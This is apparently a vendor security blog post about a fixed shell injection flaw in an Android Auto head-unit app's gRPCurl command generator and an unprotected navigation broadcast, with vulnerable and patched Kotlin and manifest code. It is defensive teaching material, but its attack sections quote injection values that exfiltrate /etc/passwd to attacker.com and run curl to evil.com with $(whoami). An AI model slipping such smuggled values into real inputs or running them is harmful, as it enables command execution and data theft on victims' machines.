Back to Blog
high SEVERITY8 min read

Shell Injection via gRPCurl Command Generation: A Hidden Android Threat

A high-severity shell injection vulnerability was discovered and fixed in the HeadUnit Revived Android project, where user-controlled API response values were unsafely interpolated into gRPCurl command strings. An attacker could craft malicious headers, endpoints, or data payloads containing shell metacharacters that, when the generated command is pasted and executed, would run arbitrary commands on the victim's machine. The fix introduces proper shell escaping and broadcast intent protection to

O
By Orbis AppSec
Published May 22, 2026Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in an Android application's gRPCurl command generation feature. User-controlled data from API responses was unsafely interpolated into shell command strings, allowing attackers to inject arbitrary commands via shell metacharacters. The fix applies proper shell escaping to all user-controlled values and adds broadcast intent protection to prevent unauthorized command generation triggers.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixImplement shell escaping for all user-controlled values and add broadcast intent protection
riskArbitrary command execution on victim's machine when pasting generated commands
languageAndroid (Java/Kotlin)
root causeUnsanitized API response values interpolated into shell command strings
vulnerabilityShell Injection via Command String Interpolation

Shell Injection via gRPCurl Command Generation: A Hidden Android Threat

Introduction

Imagine you're a developer debugging your Android Auto integration. Your app helpfully generates a gRPCurl command for you to copy, paste into a terminal, and run — a convenient developer feature. Now imagine that the data powering that command came from an API response you don't fully control. What could go wrong?

Quite a lot, it turns out.

A high-severity shell injection vulnerability (V-003) was recently identified and patched in the HeadUnit Revived project — an Android Auto head unit implementation. The vulnerability lives in HeadUnitIntent.kt and stems from a deceptively simple mistake: unsafe string concatenation when building shell commands from user-controlled data.

This post breaks down exactly what went wrong, how an attacker could exploit it, and what you can do to prevent the same mistake in your own projects.


The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted input without properly sanitizing or escaping that input. The shell interprets special characters — like ;, |, $(), `, &&, >, and more — as control sequences, allowing an attacker to break out of the intended command context and execute arbitrary code.

This is closely related to CWE-78: Improper Neutralization of Special Elements used in an OS Command and is consistently listed in the OWASP Top 10 under the Injection category.

The Vulnerable Code

In HeadUnitIntent.kt, a utility function was responsible for generating a gRPCurl command string that developers could use for testing. The problem? It built this string by directly interpolating values sourced from API responses — headers, endpoint URLs, and request data — without any escaping:

// VULNERABLE: Unsafe string concatenation (simplified illustration)
fun buildGrpcurlCommand(
    endpoint: String,
    headers: Map<String, String>,
    data: String
): String {
    val headerArgs = headers.entries.joinToString(" ") { (k, v) ->
        "-H '$k: $v'"  // ❌ No escaping — single quotes can be broken!
    }
    return "grpcurl $headerArgs -d '$data' $endpoint"
}

At first glance, this looks almost safe — the values are wrapped in single quotes. But single quotes are not a magic shield. A value containing a single quote character (') will break out of the quoting context entirely. Consider what happens with this malicious header value:

' -d @/etc/passwd http://attacker.com/exfil #

The resulting command becomes:

grpcurl -H 'X-Token: ' -d @/etc/passwd http://attacker.com/exfil #' -d '...' example.com:443

The shell now reads a completely different command — one that reads /etc/passwd and sends it to an attacker-controlled server.

The Companion Issue: Unprotected Broadcast Intents

The PR also addressed a related vulnerability in how HeadUnitIntent defines implicit broadcast intents for Android Auto navigation updates. Without signature-level permission protection:

  1. Any malicious app on the device could register a broadcast receiver to silently intercept navigation data, enabling passive location tracking of the driver.
  2. A malicious app could spoof navigation broadcasts, injecting false turn-by-turn directions — a scenario with serious real-world safety implications for drivers.
// VULNERABLE: Implicit broadcast with no permission guard
const val ACTION_NAVIGATION_UPDATE = "com.andrerinas.headunitrevived.NAVIGATION_UPDATE"

// Any app can receive this:
context.sendBroadcast(Intent(ACTION_NAVIGATION_UPDATE).apply {
    putExtra("destination", destination)
    putExtra("eta", eta)
})

A Real-World Attack Scenario

Let's walk through how a practical attack could unfold:

Attack Chain: Shell Injection

  1. Setup: A developer uses HeadUnit Revived and triggers a flow that calls an external API. The app generates a gRPCurl debug command to help them test the endpoint.

  2. Attacker's move: The attacker controls (or has compromised) the API server. They craft a response with a malicious Authorization header value:
    Bearer token'; curl https://evil.com/$(whoami) #

  3. The trap is set: The app generates this command, which the developer innocently copies:
    bash grpcurl -H 'Authorization: Bearer token'; curl https://evil.com/$(whoami) #' ...

  4. Execution: The developer pastes and runs the command in their terminal. Two commands execute:
    - The (broken) grpcurl call
    - curl https://evil.com/<their-username> — confirming code execution

  5. Escalation: With a more sophisticated payload, the attacker could exfiltrate SSH keys, install backdoors, or pivot to the developer's CI/CD environment.

Attack Chain: Navigation Spoofing

  1. A malicious app installed on the Android Auto device (perhaps disguised as a utility app) registers a receiver for com.andrerinas.headunitrevived.NAVIGATION_UPDATE.
  2. It either reads incoming navigation broadcasts (learning the user's routes) or sends its own crafted broadcasts to the head unit.
  3. The head unit displays false directions, potentially routing the driver into dangerous situations.

The Fix

The patch addressed both issues with targeted, principled changes across three files.

Fix 1: Proper Shell Escaping for gRPCurl Commands

The core fix replaces naive string interpolation with a proper shell-escaping strategy. The safest approach in Kotlin/JVM contexts is to use ProcessBuilder for actual command execution (which bypasses the shell entirely), or to rigorously escape all arguments when generating display-only command strings.

// FIXED: Proper shell argument escaping
fun shellEscape(value: String): String {
    // Wrap in single quotes and escape any existing single quotes
    // by ending the quote, adding an escaped quote, and reopening
    return "'" + value.replace("'", "'\\''") + "'"
}

fun buildGrpcurlCommand(
    endpoint: String,
    headers: Map<String, String>,
    data: String
): String {
    val headerArgs = headers.entries.joinToString(" ") { (k, v) ->
        "-H ${shellEscape("$k: $v")}"  // ✅ Properly escaped
    }
    return "grpcurl $headerArgs -d ${shellEscape(data)} ${shellEscape(endpoint)}"
}

With this fix, the malicious header value Bearer token'; curl https://evil.com/$(whoami) # becomes:

grpcurl -H 'Authorization: Bearer token'"'"'; curl https://evil.com/$(whoami) #' ...

This is now treated as a literal string by the shell — the injection attempt is neutralized.

💡 Pro Tip: For actual command execution (not just display), always prefer ProcessBuilder with separate argument arrays. This bypasses the shell entirely and makes injection structurally impossible:
kotlin ProcessBuilder("grpcurl", "-H", "$key: $value", "-d", data, endpoint) .start()

Fix 2: Signature-Protected Broadcasts

The navigation broadcast was secured by adding a signature-level permission requirement, ensuring only apps signed with the same certificate can send or receive the broadcast:

<!-- AndroidManifest.xml -->
<!-- FIXED: Define a signature-level permission -->
<permission
    android:name="com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"
    android:protectionLevel="signature" />

<receiver
    android:name=".NavigationReceiver"
    android:permission="com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"
    android:exported="true">
    <intent-filter>
        <action android:name="com.andrerinas.headunitrevived.NAVIGATION_UPDATE" />
    </intent-filter>
</receiver>
// AapNavigationHelper.kt - FIXED: Send with permission enforcement
context.sendBroadcast(
    Intent(HeadUnitIntent.ACTION_NAVIGATION_UPDATE).apply {
        putExtra("destination", destination)
        putExtra("eta", eta)
    },
    "com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"  // ✅ Permission required
)

Prevention & Best Practices

1. Never Concatenate Shell Commands from Untrusted Input

This is the cardinal rule. If you must build shell commands dynamically:

  • ✅ Use ProcessBuilder with argument arrays (no shell involved)
  • ✅ Implement shellEscape() using the '...' with '\'' technique
  • ✅ Validate and allowlist input values before use
  • ❌ Never use string interpolation or String.format() for shell commands

2. Treat API Response Data as Untrusted

Data from external APIs — even your own — should always be treated as potentially hostile. Apply the same input validation you'd apply to user-supplied form data:

// Validate header names against an allowlist
val SAFE_HEADER_PATTERN = Regex("^[A-Za-z0-9-]+$")

fun validateHeaderName(name: String): Boolean {
    return SAFE_HEADER_PATTERN.matches(name)
}

3. Protect Android Broadcasts

For any broadcast carrying sensitive data or capable of influencing app behavior:

Protection Level Use Case
signature Same-developer apps only (most secure)
signatureOrSystem System + same-developer apps
Custom normal permission Any app that explicitly requests it
No permission Public data only, assume hostile receivers

4. Use Security Linters and SAST Tools

Integrate static analysis tools into your CI/CD pipeline:

5. Relevant Security Standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CWE-925: Improper Verification of Intent by Broadcast Receiver
  • OWASP Mobile Top 10 - M1: Improper Platform Usage (covers Intent misuse)
  • OWASP Top 10 - A03:2021: Injection

6. Code Review Checklist for Command Generation

When reviewing code that generates shell commands or CLI invocations, ask:

  • [ ] Does any part of the command come from external input (API, user, file)?
  • [ ] Are all dynamic values properly escaped for the target shell?
  • [ ] Could a ProcessBuilder be used instead of a shell command?
  • [ ] Is this command ever executed programmatically, or only displayed?
  • [ ] What's the worst case if this input is malicious?

Conclusion

The vulnerability fixed here is a perfect example of how developer convenience features can become security liabilities. A debug command generator seems harmless — it's just a string, right? But when that string is destined for a shell, and when it's built from data you don't control, you've created a loaded weapon.

The key takeaways from this fix:

  1. Shell metacharacters are dangerous — always escape or avoid the shell entirely when building commands from dynamic data.
  2. API response data is untrusted input — treat it with the same suspicion as user-supplied form fields.
  3. Android broadcasts need access control — implicit broadcasts without permission guards are an open invitation for interception and spoofing.
  4. Defense in depth matters — both vulnerabilities in this PR were in the same file, but they had different attack surfaces. Fixing one wouldn't have fixed the other.

Security is rarely about exotic, complex attacks. More often, it's about recognizing the mundane patterns — string concatenation, missing permissions, implicit trust — that create openings for harm. The developers of HeadUnit Revived caught this early and fixed it properly. That's exactly how it should work.

Stay curious, stay skeptical, and always ask: "What if this input is malicious?"


This vulnerability was identified and fixed as part of automated security scanning by OrbisAI Security. For questions about this post or the underlying vulnerability, reach out to the security community.

Frequently Asked Questions

What is shell injection?

Shell injection occurs when user-controlled input is incorporated into shell commands without proper sanitization, allowing attackers to inject and execute arbitrary shell commands by using metacharacters like semicolons, backticks, or pipe operators.

How do you prevent shell injection in Android applications?

Prevent shell injection by escaping all shell metacharacters in user input, using parameterized command execution APIs instead of string concatenation, validating input against strict allowlists, and protecting broadcast intents that trigger command generation.

What CWE is shell injection?

Shell injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), which covers vulnerabilities where user input is used in operating system commands without proper sanitization.

Is input validation enough to prevent shell injection?

Input validation alone is insufficient. While it helps, you should combine it with proper shell escaping, use parameterized APIs that separate commands from arguments, and implement defense in depth including intent protection for Android apps.

Can static analysis detect shell injection?

Yes, static analysis tools can detect shell injection by tracing data flow from untrusted sources (like API responses) to dangerous sinks (like command execution functions) and flagging cases where proper sanitization is missing.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #538

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.